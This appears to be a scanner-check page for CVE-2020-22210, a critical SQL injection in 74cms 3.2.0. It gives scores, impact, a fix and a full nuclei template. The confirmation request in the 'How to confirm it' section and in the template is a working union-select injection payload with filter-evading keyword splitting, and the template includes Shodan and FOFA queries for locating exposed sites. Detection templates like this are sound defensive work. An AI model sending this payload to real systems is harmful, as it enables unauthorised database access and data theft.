74cms - ajax_officebuilding.php SQL Injection

criticalseverity

9.8CVSS score

8.6%likelihood of exploitation, next 30 days

95%of all CVEs are less likely

Readycheck to confirm it

A SQL injection vulnerability exists in 74cms 3.2.0 via the x parameter to ajax_officebuilding.php.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.

Fix

Apply the latest patch or update provided by the vendor to fix the SQL Injection vulnerability in the 74cms - ajax_officebuilding.php file.

How to confirm it

Send: GET {{BaseURL}}/plus/ajax_officebuilding.php?act=key&key=錦%27%20a<>nd%201=2%20un<>ion%20sel<>ect%201,2,3,md5({{num}}),5,6,7,8,9%23
Positive when: contains "{{md5({{num}})}}"

Run it with nuclei: nuclei -id CVE-2020-22210 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2020-22210

info:
  name: 74cms - ajax_officebuilding.php SQL Injection
  author: ritikchaddha
  severity: critical
  description: |
    A SQL injection vulnerability exists in 74cms 3.2.0 via the x parameter to ajax_officebuilding.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
  remediation: |
    Apply the latest patch or update provided by the vendor to fix the SQL Injection vulnerability in the 74cms - ajax_officebuilding.php file.
  reference:
    - https://github.com/blindkey/cve_like/issues/11
    - https://nvd.nist.gov/vuln/detail/CVE-2020-22210
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-22210
    cwe-id: CWE-89
    epss-score: 0.08579
    epss-percentile: 0.95118
    cpe: cpe:2.3:a:74cms:74cms:3.2.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: 74cms
    product: 74cms
    shodan-query: http.html:"74cms"
    fofa-query:
      - app="74cms"
      - body="74cms"
  tags: cve,cve2020,74cms,sqli,vuln
variables:
  num: "999999999"

http:
  - method: GET
    path:
      - '{{BaseURL}}/plus/ajax_officebuilding.php?act=key&key=錦%27%20a<>nd%201=2%20un<>ion%20sel<>ect%201,2,3,md5({{num}}),5,6,7,8,9%23'

    matchers:
      - type: word
        part: body
        words:
          - '{{md5({{num}})}}'

References

Use this check only on systems you are authorised to test. Where the data comes from